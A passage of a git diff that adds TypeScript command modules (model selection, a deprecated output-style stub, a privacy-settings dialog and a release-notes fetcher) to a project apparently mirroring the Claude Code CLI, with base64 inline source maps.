QgZGltQ29sb3I+XG4gICAgICAgICAgVmlldyB0aGUgbGF0ZXN0IHdvcmtmbG93IHRlbXBsYXRlIGF0OnsnICd9XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJjbGF1ZGVcIj5cbiAgICAgICAgICAgIGh0dHBzOi8vZ2l0aHViLmNvbS9hbnRocm9waWNzL2NsYXVkZS1jb2RlLWFjdGlvbi9ibG9iL21haW4vZXhhbXBsZXMvY2xhdWRlLnltbFxuICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgPC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgPC9Cb3g+XG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLE9BQU9BLEtBQUssTUFBTSxPQUFPO0FBQ3pCLFNBQVNDLE1BQU0sUUFBUSxzQ0FBc0M7QUFDN0QsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUV4QyxVQUFVQyx5QkFBeUIsQ0FBQztFQUNsQ0MsUUFBUSxFQUFFLE1BQU07RUFDaEJDLGNBQWMsRUFBRSxDQUFDQyxNQUFNLEVBQUUsUUFBUSxHQUFHLE1BQU0sR0FBRyxNQUFNLEVBQUUsR0FBRyxJQUFJO0FBQzlEO0FBRUEsT0FBTyxTQUFBQyxxQkFBQUMsRUFBQTtFQUFBLE1BQUFDLENBQUEsR0FBQUMsRUFBQTtFQUE4QjtJQUFBTixRQUFBO0lBQUFDO0VBQUEsSUFBQUcsRUFHVDtFQUFBLElBQUFHLEVBQUE7RUFBQSxJQUFBRixDQUFBLFFBQUFHLE1BQUEsQ0FBQUMsR0FBQTtJQUNWRixFQUFBLElBQ2Q7TUFBQUcsS0FBQSxFQUNTLDBDQUEwQztNQUFBQyxLQUFBLEVBQzFDO0lBQ1QsQ0FBQyxFQUNEO01BQUFELEtBQUEsRUFDUywrQ0FBK0M7TUFBQUMsS0FBQSxFQUMvQztJQUNULENBQUMsRUFDRDtNQUFBRCxLQUFBLEVBQ1MsNkJBQTZCO01BQUFDLEtBQUEsRUFDN0I7SUFDVCxDQUFDLENBQ0Y7SUFBQU4sQ0FBQSxNQUFBRSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBRixDQUFBO0VBQUE7RUFiRCxNQUFBTyxPQUFBLEdBQW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
\ No newline at end of file
diff --git a/cc-haha/src/commands/model/index.ts b/cc-haha/src/commands/model/index.ts
new file mode 100644
index 0000000..5554906
--- /dev/null
+++ b/cc-haha/src/commands/model/index.ts
@@ -0,0 +1,16 @@
+import type { Command } from '../../commands.js'
+import { shouldInferenceConfigCommandBeImmediate } from '../../utils/immediateCommand.js'
+import { getMainLoopModel, renderModelName } from '../../utils/model/model.js'
+
+export default {
+  type: 'local-jsx',
+  name: 'model',
+  get description() {
+    return `Set the AI model for Claude Code (currently ${renderModelName(getMainLoopModel())})`
+  },
+  argumentHint: '[model]',
+  get immediate() {
+    return shouldInferenceConfigCommandBeImmediate()
+  },
+  load: () => import('./model.js'),
+} satisfies Command
diff --git a/cc-haha/src/commands/output-style/output-style.tsx b/cc-haha/src/commands/output-style/output-style.tsx
new file mode 100644
index 0000000..9e26bf3
--- /dev/null
+++ b/cc-haha/src/commands/output-style/output-style.tsx
@@ -0,0 +1,7 @@
+import type { LocalJSXCommandOnDone } from '../../types/command.js';
+export async function call(onDone: LocalJSXCommandOnDone): Promise<undefined> {
+  onDone('/output-style has been deprecated. Use /config to change your output style, or set it in your settings file. Changes take effect on the next session.', {
+    display: 'system'
+  });
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJMb2NhbEpTWENvbW1hbmRPbkRvbmUiLCJjYWxsIiwib25Eb25lIiwiUHJvbWlzZSIsImRpc3BsYXkiXSwic291cmNlcyI6WyJvdXRwdXQtc3R5bGUudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB0eXBlIHsgTG9jYWxKU1hDb21tYW5kT25Eb25lIH0gZnJvbSAnLi4vLi4vdHlwZXMvY29tbWFuZC5qcydcblxuZXhwb3J0IGFzeW5jIGZ1bmN0aW9uIGNhbGwob25Eb25lOiBMb2NhbEpTWENvbW1hbmRPbkRvbmUpOiBQcm9taXNlPHVuZGVmaW5lZD4ge1xuICBvbkRvbmUoXG4gICAgJy9vdXRwdXQtc3R5bGUgaGFzIGJlZW4gZGVwcmVjYXRlZC4gVXNlIC9jb25maWcgdG8gY2hhbmdlIHlvdXIgb3V0cHV0IHN0eWxlLCBvciBzZXQgaXQgaW4geW91ciBzZXR0aW5ncyBmaWxlLiBDaGFuZ2VzIHRha2UgZWZmZWN0IG9uIHRoZSBuZXh0IHNlc3Npb24uJyxcbiAgICB7IGRpc3BsYXk6ICdzeXN0ZW0nIH0sXG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IkFBQUEsY0FBY0EscUJBQXFCLFFBQVEsd0JBQXdCO0FBRW5FLE9BQU8sZUFBZUMsSUFBSUEsQ0FBQ0MsTUFBTSxFQUFFRixxQkFBcUIsQ0FBQyxFQUFFRyxPQUFPLENBQUMsU0FBUyxDQUFDLENBQUM7RUFDNUVELE1BQU0sQ0FDSix1SkFBdUosRUFDdko7SUFBRUUsT0FBTyxFQUFFO0VBQVMsQ0FDdEIsQ0FBQztBQUNIIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/cc-haha/src/commands/privacy-settings/privacy-settings.tsx b/cc-haha/src/commands/privacy-settings/privacy-settings.tsx
new file mode 100644
index 0000000..4e4acf6
--- /dev/null
+++ b/cc-haha/src/commands/privacy-settings/privacy-settings.tsx
@@ -0,0 +1,58 @@
+import * as React from 'react';
+import { type GroveDecision, GroveDialog, PrivacySettingsDialog } from '../../components/grove/Grove.js';
+import { type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS, logEvent } from '../../services/analytics/index.js';
+import { getGroveNoticeConfig, getGroveSettings, isQualifiedForGrove } from '../../services/api/grove.js';
+import type { LocalJSXCommandOnDone } from '../../types/command.js';
+const FALLBACK_MESSAGE = 'Review and manage your privacy settings at https://claude.ai/settings/data-privacy-controls';
+export async function call(onDone: LocalJSXCommandOnDone): Promise<React.ReactNode | null> {
+  const qualified = await isQualifiedForGrove();
+  if (!qualified) {
+    onDone(FALLBACK_MESSAGE);
+    return null;
+  }
+  const [settingsResult, configResult] = await Promise.all([getGroveSettings(), getGroveNoticeConfig()]);
+  // Hide dialog on API failure (after retry)
+  if (!settingsResult.success) {
+    onDone(FALLBACK_MESSAGE);
+    return null;
+  }
+  const settings = settingsResult.data;
+  const config = configResult.success ? configResult.data : null;
+  async function onDoneWithDecision(decision: GroveDecision) {
+    if (decision === 'escape' || decision === 'defer') {
+      onDone('Privacy settings dialog dismissed', {
+        display: 'system'
+      });
+      return;
+    }
+    await onDoneWithSettingsCheck();
+  }
+  async function onDoneWithSettingsCheck() {
+    const updatedSettingsResult = await getGroveSettings();
+    if (!updatedSettingsResult.success) {
+      onDone('Unable to retrieve updated privacy settings', {
+        display: 'system'
+      });
+      return;
+    }
+    const updatedSettings = updatedSettingsResult.data;
+    const groveStatus = updatedSettings.grove_enabled ? 'true' : 'false';
+    onDone(`"Help improve Claude" set to ${groveStatus}.`);
+    if (settings.grove_enabled !== null && settings.grove_enabled !== updatedSettings.grove_enabled) {
+      logEvent('tengu_grove_policy_toggled', {
+        state: updatedSettings.grove_enabled as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        location: 'settings' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
+      });
+    }
+  }
+
+  // Show privacy settings directly if the user has already accepted the
+  // terms.
+  if (settings.grove_enabled !== null) {
+    return <PrivacySettingsDialog settings={settings} domainExcluded={config?.domain_excluded} onDone={onDoneWithSettingsCheck}></PrivacySettingsDialog>;
+  }
+
+  // Show the GroveDialog for users who haven't accepted terms yet
+  return <GroveDialog showIfAlreadyViewed={true} onDone={onDoneWithDecision} location={'settings'} />;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkdyb3ZlRGVjaXNpb24iLCJHcm92ZURpYWxvZyIsIlByaXZhY3lTZXR0aW5nc0RpYWxvZyIsIkFuYWx5dGljc01ldGFkYXRhX0lfVkVSSUZJRURfVEhJU19JU19OT1RfQ09ERV9PUl9GSUxFUEFUSFMiLCJsb2dFdmVudCIsImdldEdyb3ZlTm90aWNlQ29uZmlnIiwiZ2V0R3JvdmVTZXR0aW5ncyIsImlzUXVhbGlmaWVkRm9yR3JvdmUiLCJMb2NhbEpTWENvbW1hbmRPbkRvbmUiLCJGQUxMQkFDS19NRVNTQUdFIiwiY2FsbCIsIm9uRG9uZSIsIlByb21pc2UiLCJSZWFjdE5vZGUiLCJxdWFsaWZpZWQiLCJzZXR0aW5nc1Jlc3VsdCIsImNvbmZpZ1Jlc3VsdCIsImFsbCIsInN1Y2Nlc3MiLCJzZXR0aW5ncyIsImRhdGEiLCJjb25maWciLCJvbkRvbmVXaXRoRGVjaXNpb24iLCJkZWNpc2lvbiIsImRpc3BsYXkiLCJvbkRvbmVXaXRoU2V0dGluZ3NDaGVjayIsInVwZGF0ZWRTZXR0aW5nc1Jlc3VsdCIsInVwZGF0ZWRTZXR0aW5ncyIsImdyb3ZlU3RhdHVzIiwiZ3JvdmVfZW5hYmxlZCIsInN0YXRlIiwibG9jYXRpb24iLCJkb21haW5fZXhjbHVkZWQiXSwic291cmNlcyI6WyJwcml2YWN5LXNldHRpbmdzLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7XG4gIHR5cGUgR3JvdmVEZWNpc2lvbixcbiAgR3JvdmVEaWFsb2csXG4gIFByaXZhY3lTZXR0aW5nc0RpYWxvZyxcbn0gZnJvbSAnLi4vLi4vY29tcG9uZW50cy9ncm92ZS9Hcm92ZS5qcydcbmltcG9ydCB7XG4gIHR5cGUgQW5hbHl0aWNzTWV0YWRhdGFfSV9WRVJJRklFRF9USElTX0lTX05PVF9DT0RFX09SX0ZJTEVQQVRIUyxcbiAgbG9nRXZlbnQsXG59IGZyb20gJy4uLy4uL3NlcnZpY2VzL2FuYWx5dGljcy9pbmRleC5qcydcbmltcG9ydCB7XG4gIGdldEdyb3ZlTm90aWNlQ29uZmlnLFxuICBnZXRHcm92ZVNldHRpbmdzLFxuICBpc1F1YWxpZmllZEZvckdyb3ZlLFxufSBmcm9tICcuLi8uLi9zZXJ2aWNlcy9hcGkvZ3JvdmUuanMnXG5pbXBvcnQgdHlwZSB7IExvY2FsSlNYQ29tbWFuZE9uRG9uZSB9IGZyb20gJy4uLy4uL3R5cGVzL2NvbW1hbmQuanMnXG5cbmNvbnN0IEZBTExCQUNLX01FU1NBR0UgPVxuICAnUmV2aWV3IGFuZCBtYW5hZ2UgeW91ciBwcml2YWN5IHNldHRpbmdzIGF0IGh0dHBzOi8vY2xhdWRlLmFpL3NldHRpbmdzL2RhdGEtcHJpdmFjeS1jb250cm9scydcblxuZXhwb3J0IGFzeW5jIGZ1bmN0aW9uIGNhbGwoXG4gIG9uRG9uZTogTG9jYWxKU1hDb21tYW5kT25Eb25lLFxuKTogUHJvbWlzZTxSZWFjdC5SZWFjdE5vZGUgfCBudWxsPiB7XG4gIGNvbnN0IHF1YWxpZmllZCA9IGF3YWl0IGlzUXVhbGlmaWVkRm9yR3JvdmUoKVxuICBpZiAoIXF1YWxpZmllZCkge1xuICAgIG9uRG9uZShGQUxMQkFDS19NRVNTQUdFKVxuICAgIHJldHVybiBudWxsXG4gIH1cblxuICBjb25zdCBbc2V0dGluZ3NSZXN1bHQsIGNvbmZpZ1Jlc3VsdF0gPSBhd2FpdCBQcm9taXNlLmFsbChbXG4gICAgZ2V0R3JvdmVTZXR0aW5ncygpLFxuICAgIGdldEdyb3ZlTm90aWNlQ29uZmlnKCksXG4gIF0pXG4gIC8vIEhpZGUgZGlhbG9nIG9uIEFQSSBmYWlsdXJlIChhZnRlciByZXRyeSlcbiAgaWYgKCFzZXR0aW5nc1Jlc3VsdC5zdWNjZXNzKSB7XG4gICAgb25Eb25lKEZBTExCQUNLX01FU1NBR0UpXG4gICAgcmV0dXJuIG51bGxcbiAgfVxuICBjb25zdCBzZXR0aW5ncyA9IHNldHRpbmdzUmVzdWx0LmRhdGFcbiAgY29uc3QgY29uZmlnID0gY29uZmlnUmVzdWx0LnN1Y2Nlc3MgPyBjb25maWdSZXN1bHQuZGF0YSA6IG51bGxcblxuICBhc3luYyBmdW5jdGlvbiBvbkRvbmVXaXRoRGVjaXNpb24oZGVjaXNpb246IEdyb3ZlRGVjaXNpb24pIHtcbiAgICBpZiAoZGVjaXNpb24gPT09ICdlc2NhcGUnIHx8IGRlY2lzaW9uID09PSAnZGVmZXInKSB7XG4gICAgICBvbkRvbmUoJ1ByaXZhY3kgc2V0dGluZ3MgZGlhbG9nIGRpc21pc3NlZCcsIHtcbiAgICAgICAgZGlzcGxheTogJ3N5c3RlbScsXG4gICAgICB9KVxuICAgICAgcmV0dXJuXG4gICAgfVxuICAgIGF3YWl0IG9uRG9uZVdpdGhTZXR0aW5nc0NoZWNrKClcbiAgfVxuXG4gIGFzeW5jIGZ1bmN0aW9uIG9uRG9uZVdpdGhTZXR0aW5nc0NoZWNrKCkge1xuICAgIGNvbnN0IHVwZGF0ZWRTZXR0aW5nc1Jlc3VsdCA9IGF3YWl0IGdldEdyb3ZlU2V0dGluZ3MoKVxuICAgIGlmICghdXBkYXRlZFNldHRpbmdzUmVzdWx0LnN1Y2Nlc3MpIHtcbiAgICAgIG9uRG9uZSgnVW5hYmxlIHRvIHJldHJpZXZlIHVwZGF0ZWQgcHJpdmFjeSBzZXR0aW5ncycsIHtcbiAgICAgICAgZGlzcGxheTogJ3N5c3RlbScsXG4gICAgICB9KVxuICAgICAgcmV0dXJuXG4gICAgfVxuICAgIGNvbnN0IHVwZGF0ZWRTZXR0aW5ncyA9IHVwZGF0ZWRTZXR0aW5nc1Jlc3VsdC5kYXRhXG4gICAgY29uc3QgZ3JvdmVTdGF0dXMgPSB1cGRhdGVkU2V0dGluZ3MuZ3JvdmVfZW5hYmxlZCA/ICd0cnVlJyA6ICdmYWxzZSdcbiAgICBvbkRvbmUoYFwiSGVscCBpbXByb3ZlIENsYXVkZVwiIHNldCB0byAke2dyb3ZlU3RhdHVzfS5gKVxuICAgIGlmIChcbiAgICAgIHNldHRpbmdzLmdyb3ZlX2VuYWJsZWQgIT09IG51bGwgJiZcbiAgICAgIHNldHRpbmdzLmdyb3ZlX2VuYWJsZWQgIT09IHVwZGF0ZWRTZXR0aW5ncy5ncm92ZV9lbmFibGVkXG4gICAgKSB7XG4gICAgICBsb2dFdmVudCgndGVuZ3VfZ3JvdmVfcG9saWN5X3RvZ2dsZWQnLCB7XG4gICAgICAgIHN0YXRlOlxuICAgICAgICAgIHVwZGF0ZWRTZXR0aW5ncy5ncm92ZV9lbmFibGVkIGFzIEFuYWx5dGljc01ldGFkYXRhX0lfVkVSSUZJRURfVEhJU19JU19OT1RfQ09ERV9PUl9GSUxFUEFUSFMsXG4gICAgICAgIGxvY2F0aW9uOlxuICAgICAgICAgICdzZXR0aW5ncycgYXMgQW5hbHl0aWNzTWV0YWRhdGFfSV9WRVJJRklFRF9USElTX0lTX05PVF9DT0RFX09SX0ZJTEVQQVRIUyxcbiAgICAgIH0pXG4gICAgfVxuICB9XG5cbiAgLy8gU2hvdyBwcml2YWN5IHNldHRpbmdzIGRpcmVjdGx5IGlmIHRoZSB1c2VyIGhhcyBhbHJlYWR5IGFjY2VwdGVkIHRoZVxuICAvLyB0ZXJtcy5cbiAgaWYgKHNldHRpbmdzLmdyb3ZlX2VuYWJsZWQgIT09IG51bGwpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPFByaXZhY3lTZXR0aW5nc0RpYWxvZ1xuICAgICAgICBzZXR0aW5ncz17c2V0dGluZ3N9XG4gICAgICAgIGRvbWFpbkV4Y2x1ZGVkPXtjb25maWc/LmRvbWFpbl9leGNsdWRlZH1cbiAgICAgICAgb25Eb25lPXtvbkRvbmVXaXRoU2V0dGluZ3NDaGVja31cbiAgICAgID48L1ByaXZhY3lTZXR0aW5nc0RpYWxvZz5cbiAgICApXG4gIH1cblxuICAvLyBTaG93IHRoZSBHcm92ZURpYWxvZyBmb3IgdXNlcnMgd2hvIGhhdmVuJ3QgYWNjZXB0ZWQgdGVybXMgeWV0XG4gIHJldHVybiAoXG4gICAgPEdyb3ZlRGlhbG9nXG4gICAgICBzaG93SWZBbHJlYWR5Vmlld2VkPXt0cnVlfVxuICAgICAgb25Eb25lPXtvbkRvbmVXaXRoRGVjaXNpb259XG4gICAgICBsb2NhdGlvbj17J3NldHRpbmdzJ31cbiAgICAvPlxuICApXG59XG4iXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FDRSxLQUFLQyxhQUFhLEVBQ2xCQyxXQUFX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
\ No newline at end of file
diff --git a/cc-haha/src/commands/release-notes/release-notes.ts b/cc-haha/src/commands/release-notes/release-notes.ts
new file mode 100644
index 0000000..dfd7aec
--- /dev/null
+++ b/cc-haha/src/commands/release-notes/release-notes.ts
@@ -0,0 +1,50 @@
+import type { LocalCommandResult } from '../../types/command.js'
+import {
+  CHANGELOG_URL,
+  fetchAndStoreChangelog,
+  getAllReleaseNotes,
+  getStoredChangelog,
+} from '../../utils/releaseNotes.js'
+
+function formatReleaseNotes(notes: Array<[string, string[]]>): string {
+  return notes
+    .map(([version, notes]) => {
+      const header = `Version ${version}:`
+      const bulletPoints = notes.map(note => `· ${note}`).join('\n')
+      return `${header}\n${bulletPoints}`
+    })
+    .join('\n\n')
+}
+
+export async function call(): Promise<LocalCommandResult> {
+  // Try to fetch the latest changelog with a 500ms timeout
+  let freshNotes: Array<[string, string[]]> = []
+
+  try {
+    const timeoutPromise = new Promise<void>((_, reject) => {
+      setTimeout(rej => rej(new Error('Timeout')), 500, reject)
+    })
+
+    await Promise.race([fetchAndStoreChangelog(), timeoutPromise])
+    freshNotes = getAllReleaseNotes(await getStoredChangelog())
+  } catch {
+    // Either fetch failed or timed out - just use cached notes
+  }
+
+  // If we have fresh notes from the quick fetch, use those
+  if (freshNotes.length > 0) {
+    return { type: 'text', value: formatReleaseNotes(freshNotes) }
+  }
+
+  // Otherwise check cached notes
+  const cachedNotes = getAllReleaseNotes(await getStoredChangelog())
+  if (cachedNotes.length > 0) {
